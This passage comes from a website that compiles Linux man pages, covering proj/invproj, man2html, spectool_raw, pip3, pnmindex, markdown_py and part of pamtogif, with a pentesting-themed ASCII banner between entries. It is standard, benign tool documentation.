➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command invproj and provides detailed information about the command invproj, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the invproj.

NAME 🖥️ invproj 🖥️

Cartographic projection filter

SYNOPSIS

proj [-beEfiIlmorsStTvVwW] [args]] ([+opt[=arg] …] | {crs}) file …

invproj [-beEfiIlmorsStTvVwW] [args]] ([+opt[=arg] …] | {crs}) file …

DESCRIPTION

proj and invproj perform respective forward and inverse conversion of cartographic data to or from cartesian data with a wide range of selectable projection functions.

invproj may not be available on all platforms; in this case use proj -I instead.

The following control parameters can appear in any order

-b
Special option for binary coordinate data input and output through standard input and standard output. Data is assumed to be in system type double floating point words. This option is to be used when proj is a child process and allows bypassing formatting operations.

-d <n>

New in version 5.2.0: Specify the number of decimals to round to in the output.

-i
Selects binary input only (see -b).

-I
Alternate method to specify inverse projection. Redundant when used with invproj.

-o
Selects binary output only (see -b).

-t<a>
Where a specifies a character employed as the first character to denote a control line to be passed through without processing. This option applicable to ASCII input only. (# is the default value).

-e <string>
Where string is an arbitrary string to be output if an error is detected during data transformations. The default value is a three character string: * *. Note that if the -b, -i or -o options are employed, an error is returned as HUGE_VAL value for both return values.

-E
Causes the input coordinates to be copied to the output line prior to printing the converted values.

-l<[=id]>
List projection identifiers that can be selected with +proj. proj -l=id gives expanded description of projection id, e.g. proj -l=merc.

-lp
List of all projection id that can be used with the +proj parameter. Equivalent to proj -l.

-lP
Expanded description of all projections that can be used with the +proj parameter.

-le
List of all ellipsoids that can be selected with the +ellps parameters.

-lu
List of all distance units that can be selected with the +units parameter.

-r
This options reverses the order of the expected input from longitude-latitude or x-y to latitude-longitude or y-x.

-s
This options reverses the order of the output from x-y or longitude-latitude to y-x or latitude-longitude.

-S
Causes estimation of meridional and parallel scale factors, area scale factor and angular distortion, and maximum and minimum scale factors to be listed between <> for each input point. For conformal projections meridional and parallel scales factors will be equal and angular distortion zero. Equal area projections will have an area factor of 1.

-m <mult>
The cartesian data may be scaled by the mult parameter. When processing data in a forward projection mode the cartesian output values are multiplied by mult otherwise the input cartesian values are divided by mult before inverse projection. If the first two characters of mult are 1/ or 1: then the reciprocal value of mult is employed.

-f <format>
Where format is a printf format string to control the form of the output values. For inverse projections, the output will be in degrees when this option is employed. The default format is "%.2f" for forward projection and DMS for inverse.

-w<n>
Where n is the number of significant fractional digits to employ for seconds output (when the option is not specified, -w3 is assumed).

-W<n>
Where n is the number of significant fractional digits to employ for seconds output. When -W is employed the fields will be constant width with leading zeroes.

-v
Causes a listing of cartographic control parameters tested for and used by the program to be printed prior to input data.

-V
This option causes an expanded annotated listing of the characteristics of the projected point. -v is implied with this option.

The +opt run-line arguments are associated with cartographic parameters. Additional projection control parameters may be contained in two auxiliary control files: the first is optionally referenced with the +init=file:id and the second is always processed after the name of the projection has been established from either the run-line or the contents of +init file. The environment parameter PROJ_DATA establishes the default directory for a file reference without an absolute path. This is also used for supporting files like datum shift files.

New in version 9.3.0: {crs} is one of the possibilities accepted by :c:proj_create(), provided it expresses a projected CRS, like a WKT string, an object code (like “EPSG:32632”) a PROJJSON string, etc. The projection computed will be those of the map projection implied by the transformation from the base geographic CRS of the projected CRS to the projected CRS.

One or more files (processed in left to right order) specify the source of data to be converted. A - will specify the location of processing standard input. If no files are specified, the input is assumed to be from stdin. For ASCII input data the two data values must be in the first two white space separated fields and when both input and output are ASCII all trailing portions of the input line are appended to the output line.

Input geographic data (longitude and latitude) must be in DMS or decimal degrees format and input cartesian data must be in units consistent with the ellipsoid major axis or sphere radius units. Output geographic coordinates will be in DMS (if the -w switch is not employed) and precise to 0.001" with trailing, zero-valued minute-second fields deleted.

EXAMPLE

The following script

proj +proj=utm +zone=12 -r «EOF 45d15'33.1" 111.5W 45d15.551666667N -111d30 +45.25919444444 111d30'000w EOF

will perform UTM zone 12 forward projection. The default +ellps=GRS80 is used as no +ellps was specified. The geographic values of this example are equivalent and meant as examples of various forms of DMS input. The x-y output data will appear as three lines of:

460770.43 5011865.86

This other example

proj EPSG:6421 -V «EOF -120 35.8 EOF

Will perform the projection of the coordinates in “NAD83(2011) / California zone 4” (EPSG:6421) into its geographic system, “NAD83(2011)”, showing the expanded annotated listing. The output will appear as:

#Lambert Conformal Conic # Conic, Sph&Ell # lat_1= and lat_2= or lat_0, k_0= # +proj=lcc +lat_0=35.3333333333333 +lon_0=-119 +lat_1=37.25 +lat_2=36 # +x_0=2000000 +y_0=500000 +ellps=GRS80 #Final Earth figure: ellipsoid # Major axis (a): 6378137.000 # 1/flattening: 298.257222 # squared eccentricity: 0.006694380023 Longitude: 120dW [ -120 ] Latitude: 35d48’N [ 35.8 ] Easting (x): 1909606.87 Northing (y): 552253.58 Meridian scale (h) : 1.00004382 ( 0.004382 % error ) Parallel scale (k) : 1.00004382 ( 0.004382 % error ) Areal scale (s): 1.00008765 ( 0.008765 % error ) Angular distortion (w): 0.000 Meridian/Parallel angle: 90.00000 Convergence : -0d35'47.714" [ -0.59658715 ] Max-min (Tissot axis a-b) scale error: 1.00004 1.00004

OTHER PROGRAMS

The proj program is limited to converting between geographic and projected coordinates within one datum.

The cs2cs program operates similarly, but allows translation between any pair of definable coordinate reference systems, including support for datum translation.

SEE ALSO

cs2cs(1), cct(1), geod(1), gie(1), projinfo(1), projsync(1)

BUGS

A list of known bugs can be found at https://github.com/OSGeo/PROJ/issues where new bug reports can be submitted to.

HOME PAGE

https://proj.org/

AUTHOR

Gerald I. Evenden

COPYRIGHT

1983-2024, PROJ contributors

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

434 - Linux cli command man2html

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command man2html and provides detailed information about the command man2html, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the man2html.

NAME 🖥️ man2html 🖥️

format a manual page in html

SYNOPSIS

man2html [options] [file]

DESCRIPTION

man2html converts a manual page as found in file (or stdin, in case no file argument, or the argument “-”, is given) from man-style nroff into html, and prints the result on stdout. It does support tbl but does not know about eqn. The exit status is 0. If something goes wrong, an error page is printed on stdout.

This can be used as a stand-alone utility, but is mainly intended as an auxiliary, to enable users to browse their man pages using a html browser like lynx(1), xmosaic(1) or netscape(1).

The main part of man2html is the troff-to-html engine written by Richard Verhoeven ([email protected]). It adds hyperlinks for the following constructs:

foo(3x)"http://localhost/cgi-bin/man/man2html?3x+foo"
method://string"method://string"
www.host.name"http://www.host.name"
ftp.host.name"ftp://ftp.host.name"
name@host"mailto:name@host"
<string.h>"file:/usr/include/string.h"

(The first of these can be tuned by options - see below.) No lookup is done - the links generated need not exist. Also an index with internal hyperlinks to the various sections is generated, so that it is easier to find one’s way in large man pages like bash(1).

OPTIONS

When reading from stdin, it is not always clear how to do .so expansion. The -D option allows a script to define the working directory.

- D pathname
Strip the last two parts from the pathname, and do a chdir(dir) before starting the conversion.

The -E option allows the easy generation of error messages from a cgi script.

- E string
Output an error page containing the given error message.

The general form of a hyperlink generated for a man page reference is

<method:cgipath><man2htmlpath><separator><manpage>

with a default as shown above. The parts of this hyperlink are set using the various options.

- h
Set method:cgipath to http://localhost.

- H* host[.domain][:port]*
Set method:cgipath to http://host.domain:port.

- l
Set method:cgipath to lynxcgi:/usr/lib.

- L* dir*
Set method:cgipath to lynxcgi:dir.

- M* man2htmlpath*
Set the man2htmlpath to use. The default is /cgi-bin/man/man2html.

- p
Set separator to ‘/’.

- q
Set separator to ‘?’. This is the default.

- r
Use relative html paths, instead of cgi-bin paths.

On a machine without running httpd, one can use lynx to browse the man pages, using the lynxcgi method. When some http daemon is running, lynx, or any other browser, can be used to browse the man pages, using the http method. The option -l (for `lynxcgi’) selects the former behaviour. With it, the default cgipath is /usr/lib.

In general, a cgi script can be called by

<path_to_script>/<more_path>?<query>

and the environment variables PATH_INFO and QUERY_STRING will be set to <more_path> and <query>, respectively. Since lynxcgi does not handle the PATH_INFO part, we generate hyperlinks with `?’ as a separator by default. The option -p (for `path’) selects ‘/’ as a separator, while the option -q (for `query’) selects ‘?’ as a separator.

The option -H host will specify the host to use (instead of localhost). A cgi script could use

man2html -H $SERVER_NAME

if the variable SERVER_NAME is set. This would allow your machine to act as a server and export man pages.

BUGS

There are many heuristics. The output will not always be perfect. The lynxcgi method will not work if lynx was compiled without selecting support for it. There may be problems with security.

AUTHOR

Richard Verhoeven was the original author of man2html. Michael Hamilton and Andries Brouwer subsequently improved on it. Federico Lucifredi <[email protected]> is the current maintainer.

SEE ALSO

lynx(1), man(1), hman(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

435 - Linux cli command spectool_raw

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command spectool_raw and provides detailed information about the command spectool_raw, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the spectool_raw.

NAME 🖥️ spectool_raw 🖥️

Spy

SYNOPSIS

spectool_raw [-n network server] [-b*]*

DESCRIPTION

spectool_raw is a simple tool which extracts data from the Wi-Spy device. It can be used to create other tools or scripts.

OPTIONS

This program follows the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

-h –help
Show summary of options.

-n tcp://host:port –net tcp://host:port
Connect to network server instead of local USB devices.

-b –broadcast
Listen for (and connect to) broadcast servers instead of using local USB devices.

SEE ALSO

spectool_gtk (1), spectool_curses (1), spectool_net (1).

AUTHOR

This manual page was written by Francois Marier <[email protected]> for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 3 any later version published by the Free Software Foundation.

On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

436 - Linux cli command pip3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3 and provides detailed information about the command pip3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3.

NAME 🖥️ pip3 🖥️

package manager for Python packages

SYNOPSIS

pip3 <command> [options]

DESCRIPTION

pip3 is the PyPA recommended package manager for Python packages

OPTIONS

-h, –help
Show help.

(environment variable: PIP_HELP)

–debug
Let unhandled exceptions propagate outside the main subroutine, instead of logging them to stderr.

(environment variable: PIP_DEBUG)

–isolated
Run pip in an isolated mode, ignoring environment variables and user configuration.

(environment variable: PIP_ISOLATED)

–require-virtualenv
Allow pip to only run in a virtual environment; exit with an error otherwise.

(environment variable: PIP_REQUIRE_VIRTUALENV, PIP_REQUIRE_VENV)

–python <python>
Run pip with the specified Python interpreter.

(environment variable: PIP_PYTHON)

-v, –verbose
Give more output. Option is additive, and can be used up to 3 times.

(environment variable: PIP_VERBOSE)

-V, –version
Show version and exit.

(environment variable: PIP_VERSION)

-q, –quiet
Give less output. Option is additive, and can be used up to 3 times (corresponding to WARNING, ERROR, and CRITICAL logging levels).

(environment variable: PIP_QUIET)

–log <path>
Path to a verbose appending log.

(environment variable: PIP_LOG, PIP_LOG_FILE, PIP_LOCAL_LOG)

–no-input
Disable prompting for input.

(environment variable: PIP_NO_INPUT)

–keyring-provider <keyring_provider>
Enable the credential lookup via the keyring library if user input is allowed. Specify which mechanism to use [disabled, import, subprocess]. (default: disabled)

(environment variable: PIP_KEYRING_PROVIDER)

–proxy <proxy>
Specify a proxy in the form scheme://[user:passwd@]proxy.server:port.

(environment variable: PIP_PROXY)

–retries <retries>
Maximum number of retries each connection should attempt (default 5 times).

(environment variable: PIP_RETRIES)

–timeout <sec>
Set the socket timeout (default 15 seconds).

(environment variable: PIP_TIMEOUT, PIP_DEFAULT_TIMEOUT)

–exists-action <action>
Default action when a path already exists: (s)witch, (i)gnore, (w)ipe, (b)ackup, (a)bort.

(environment variable: PIP_EXISTS_ACTION)

–trusted-host <hostname>
Mark this host or host:port pair as trusted, even though it does not have valid or any HTTPS.

(environment variable: PIP_TRUSTED_HOST)

–cert <path>
Path to PEM-encoded CA certificate bundle. If provided, overrides the default. See ‘SSL Certificate Verification’ in pip documentation for more information.

(environment variable: PIP_CERT)

–client-cert <path>
Path to SSL client certificate, a single file containing the private key and the certificate in PEM format.

(environment variable: PIP_CLIENT_CERT)

–cache-dir <dir>
Store the cache data in <dir>.

(environment variable: PIP_CACHE_DIR)

–no-cache-dir
Disable the cache.

(environment variable: PIP_NO_CACHE_DIR)

–disable-pip-version-check
Don’t periodically check PyPI to determine whether a new version of pip is available for download. Implied with –no-index.

(environment variable: PIP_DISABLE_PIP_VERSION_CHECK)

–no-color
Suppress colored output.

(environment variable: PIP_NO_COLOR)

–no-python-version-warning
Silence deprecation warnings for upcoming unsupported Pythons.

(environment variable: PIP_NO_PYTHON_VERSION_WARNING)

–use-feature <feature>
Enable new functionality, that may be backward incompatible.

(environment variable: PIP_USE_FEATURE)

–use-deprecated <feature>
Enable deprecated functionality, that will be removed in the future.

(environment variable: PIP_USE_DEPRECATED)

COMMANDS

pip3-install(1)
Install packages.

pip3-download(1)
Download packages.

pip3-uninstall(1)
Uninstall packages.

pip3-freeze(1)
Output installed packages in requirements format.

pip3-list(1)
List installed packages.

pip3-show(1)
Show information about installed packages.

pip3-check(1)
Verify installed packages have compatible dependencies.

pip3-search(1)
Search PyPI for packages.

pip3-wheel(1)
Build wheels from your requirements.

pip3-hash(1)
Compute hashes of package archives.

pip3-help(1)
Show help for pip commands.

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

437 - Linux cli command pnmindex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmindex and provides detailed information about the command pnmindex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmindex.

.

NAME 🖥️ pnmindex 🖥️

build a visual index of a bunch of PNM images

SYNOPSIS

pnmindex

[**-size=**N]

[**-across=**N]

[-black]

[**-title=**title]

[-quant|-noquant]

[**-colors=**N]

pnmfile

You can use the minimum unique abbreviation of the options. You can use two hyphens instead of one. You can separate an option name from its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pnmindex creates an index image containing thumbnail (small) versions of a bunch of PNM files you supply (akin to a photographic “contact sheet”).

pnmindex labels each thumbnail and, optionally, contains a title.

If you just want to concatenate some images together in a grid, use pamundice for that.

If you want to take apart the image you generated with pnmindex, use pamdice or pamcut.

The program can generate large temporary files. By default, these go in directory /tmp, but you can usse the TMPDIR environment variable to have them somewhere else.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmindex recognizes the following command line options:

**-size=**N
The size of each thumbnail. The image is scaled down to fit maximally inside a N x N pixel box without changing its aspect ratio.

If the input image is already smaller than this, its size remains the same in the output.

The value must be at least 1.

The default is 100.

**-across=**N
This is the number of thumbnails in each row.

The value must be at least 1.

The default is 6.

-black
This controls the color of the padding between the images; by default it is white and the labels are black lettering on white background, but the -black option reverses this.

**-title=**title
This specifies a title to be placed at the top of the image.

The title value must be in ASCII. Characters that are not valid ASCII are not rendered.

Default is no title.

-noquant
Disables color quantization. By default, if any input image is PPM, the program reduces the number of colors to the number of colors specified by -colors).

-quant
This option has no effect; it explicitly selects the default behavior of quantizing colors. See -noquant.

**-colors=**N
The maximum number of colors allowed in the overall image. If it would otherwise have more colors than these, pnmindex quantizes the result. To reduce the effect of the colors in one thumbnail on the colors used for another, the program quantizes colors to this number in each thumbnail independently, then quantizes the colors in each row of thumbnails to this number, then quantizes the colors in the entire output image to this number.

This value is meaningless if you specify the -noquant option or if no input image is PPM.

The default is 256.

HISTORY

Before Netpbm 11.05 (December 2023), the Netpbm common option -plain was not implemented.

.UN seealso

SEE ALSO

pamscale(1) , pamcat(1) , pbmtext(1) , pnmquant(1) , pamcut(1) , pamdice(1) , pamundice(1) , pnmtile(1) , pnm(1)

AUTHOR

Copyright (C) 1991 by Jef Poskanzer.

-title and -noquant added 2000 by John Heidemann.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmindex.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

438 - Linux cli command markdown_py

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command markdown_py and provides detailed information about the command markdown_py, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the markdown_py.

NAME 🖥️ markdown_py 🖥️

a Python implementation of John Gruber’s Markdown.

SYNOPSIS

markdown_py [options] [INPUT_FILE]

(STDIN is assumed if no INPUT_FILE is given)

DESCRIPTION

Command-line Markdown compiler based on python-markdown module, with extensions support.

Deprecated! Use python3 -m markdown instead, which accepts the same options.

OPTIONS

–version
Show program’s version number and exit.

-h, –help
Show the help message and exit.

-f OUTPUT_FILE, **–file=**OUTPUT_FILE
Write output to OUTPUT_FILE. Defaults to STDOUT.

-e ENCODING, **–encoding=**ENCODING
Encoding for input and output files.

-o OUTPUT_FORMAT, **–output_format=**OUTPUT_FORMAT
Use output format ‘xhtml’ (default) or ‘html’.

-n, –no_lazy_ol
Observe number of first item of ordered lists.

-x EXTENSION, **–extension=**EXTENSION
Load extension EXTENSION.

-c CONFIG_FILE, **–extension_configs=**CONFIG_FILE
Read extension configurations from CONFIG_FILE. CONFIG_FILE must be of JSON or YAML format. YAML format requires python3-yaml package to be installed. The parsed JSON or YAML must result in a Python dictionary which would be accepted by the ’extension_configs’ keyword on the markdown.Markdown class. The extensions must also be loaded with the –extension option.

-q, –quiet
Suppress all warnings.

-v, –verbose
Print all warnings.

–noisy
Print debug messages.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

439 - Linux cli command pamtogif

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtogif and provides detailed information about the command pamtogif, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtogif.

.

NAME 🖥️ pamtogif 🖥️

convert a Netpbm image to a GIF image

SYNOPSIS

pamtogif

[-interlace]

[-sort]

[-mapfile=mapfile] [-transparent=[=]color]

[**-alphacolor=**color]

[**-comment=**text]

[-noclear]

[-nolzw]

[**-aspect=**fraction]

[-verbose] [netpbmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamtogif reads a Netpbm image as input and produces a GIF file as output.

This program creates only individual GIF images. To combine multiple GIF images into an animated GIF, use gifsicle (not part of the Netpbm package).

pamtogif creates either an original GIF87 format GIF file or the newer GIF89 format. It creates GIF89 when the output needs to have features that were new with GIF89, to wit transparency or comments. Otherwise, it creates GIF87. Really old GIF readers conceivably could not recognize GIF89. The output needs to have transparency when either the input has a transparency information or you specify the -transparent option. It needs to have comments when you specify the -comment option.

pamtogif generates a GIF image with a single image block, which means the image cannot have more than 256 colors in it (it contains a single color map with a maximum size of 256). If the image you want to convert has more colors than that (ppmhist can tell you), you can use pnmquant to reduce it to 256. Or use the more complex but faster method described under the -mapfile option.

If your input image is a PAM with transparency information, pamtogif uses one entry in the GIF colormap specifically for the transparent pixels, so you can have at most 255 opaque colors. In contrast, if you use the -transparent option, one of the colors from the input becomes transparent, so the limit is still 256.

pamtogif recognizes transparency information in the input by the tuple type being RGB_ALPHA, GRAYSCALE_ALPHA, or BLACKANDWHITE_ALPHA. This is the case for any image that has transparency information and was created by a Netpbm program that manipulates visual images. If, on the other hand, you have a PAM generated some other way, but you know the planes have the same meaning as implied by these tuple types, you can make pamtogif process the transparency information by changing the tuple type accordingly before you pass it to pamtogif. You can use pamstack to change the tuple type.

pamtogif was new in Netpbm 10.37 (December 2006). In older Netpbm, use ppmtogif.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtogif recognizes the following command line options:

-interlace
Produce an interlaced GIF file.

-sort
Produce a GIF file with a color map sorted in a predictable order.

This does not produce the sorted color map which is part of the GIF format. That kind of sorted color map is one where the colors are sorted according to how important they are, and the GIF header tells the viewer that it is sorted that way. Its purpose is to allow the viewer to use fewer colors than are in the color map if it is not capable of displaying all the colors.

What this option produces is a color map sorted by red value, then green, then blue. That can be useful in analyzing GIF images, particularly those made with two versions of the program, because it removes some of the variability.

**-mapfile=**mapfile
Use the colors found in the file mapfile to create the colormap in the GIF file, instead of the colors from netpbmfile. mapfile can be any PPM file; all that matters is the colors in it. If the colors in netpbmfile do not match those in mapfile, pamtogif matches them to a “best match.” You can obtain a much better result by using pnmremap to change the colors in the input to those in the map file.

The mapfile file is not a palette file, just an image whose colors you want to use. The order of colors in the GIF palette have nothing to do with where they appear in the mapfile image, and duplication of colors in the image is irrelevant.

The map file’s depth must match the number of color components in the input (which is not necessarily the same as the input’s depth – the input might have a transparency plane in addition). If your map file does not, or it might not, run your input through pnmremap using the same map file so that it does.

You can use -mapfile to speed up conversion of an image where you already have a map file because of earlier processing of your image. For example, it is common to start with an image that has more than 256 colors and remap its colors to a set of 256 colors so that pamgtogif can convert it (a GIF can have only 256 colors; pamtogif without -mapfile fails on any image that has more than that) with pnmquant. When you do this, pnmquant generates a palette to do the color quantization, then pamtogif generates an identical palette from the quantized image. You can save computation by generating the palette once:

    $ pnmcolormap 256 myimage.ppm >/tmp/colormap.ppm
    $ pamtogif myimage.ppm -mapfile=/tmp/colormap.ppm >output.gif

**-transparent=**color
pamtogif marks the specified color as transparent in the GIF image.

If you don’t specify -transparent, pamtogif does not mark any color transparent (except as indicated by the transparency information in the input file).

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine .

If the color you specify is not present in the image, pamtogif selects instead the color in the image that is closest to the one you specify. Closeness is measured as a Cartesian distance between colors in RGB space. If multiple colors are equidistant, pamtogif chooses one of them arbitrarily.

However, if you prefix your color specification with “=”, e.g. -transparent==red, only the exact color you specify will be transparent. If that color does not appear in the image, there will be no transparency. pamtogif issues an information message when this is the case.

When you specify -transparent, pamtogif ignores explicit transparency information (the “alpha channel”) in the input image.

**-alphacolor=**color
This specifies the foreground color for transparent pixels. A viewer may use the foreground color for a transparent pixel if it chooses not to have another color “show through.”. The default is black.

This applies only to pixels that are transparent in the GIF because they are transparent in the Netpbm input. If a GIF pixel is transparent because of the -transparent option, the foreground color is the color indicated by that option.

Note that in GIF, all transparent pixels have the same foreground color. (There is only one entry in the GIF colormap for transparent pixels).

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine .

**-comment=**text
Include a comment in the GIF output with comment text text.

Without this option, there are no comments in the output.

Note that in a command shell, you’ll have to use quotation marks around text if it contains characters (e.g. space) that would make the shell think it is multiple arguments:

$ pamtogif -comment "this is a comment" <xxx.ppm >xxx.gif

-noclear
This option causes the output not to contain any GIF clear codes.

In GIF, the stream defines codes that represent strings of pixels as it goes. The stream contains definitions of codes mixed in with the references to those codes that describe the pixels of the image. GIF specifies a maximum number of codes that can be defined; when the stream has defined that many, the stream can either just use those for the rest of the image or include a clear code, deleting all the string codes so that the stream can start over defining new ones.

By far the most common choice is the clear code. This usually results in a smaller stream because the set of strings of pixels that occur in an image vary over the parts of the image. Hardly any GIF encoders produce streams that don’t use the clear code.

But it is conceivable that a stream could be smaller without the use of the clear code because it saves the stream having to redefine the same string codes over and over. It could even avoid a thrashing situation where the stream continually defines a set of strings that never get used again before the maximum is reached.

The default is to use the clear codes.

This option was new in Netpbm 10.82 (March 2018). Before that, the program aways uses the clear codes.

-nolzw
This option is mainly of historical interest – it involves use of a patent that is now expired.

